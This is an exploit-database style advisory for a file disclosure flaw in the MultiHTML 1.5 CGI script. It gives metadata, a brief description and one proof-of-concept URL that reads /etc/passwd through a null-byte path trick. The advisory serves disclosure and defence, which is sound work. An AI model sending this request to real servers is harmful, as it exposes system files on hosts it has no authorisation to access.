MultiHTML 1.5 - File Disclosure

Author: Niels Heinen
type: webapps
platform: cgi
port: 
date_added: 2000-09-13  
date_updated: 2012-10-24  
verified: 1  
codes: CVE-2000-0912;OSVDB-415  
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raw file: 22204.txt  

source: https://www.securityfocus.com/bid/6711/info

MultiHTML is prone to a file disclosure vulnerability.

It is possible for remote attackers to issue requests which are capable of disclosing sensitive webserver readable resources on the system hosting the software.

http://www.example.com/cgi-bin/multihtml.pl?multi=/etc/passwd%00html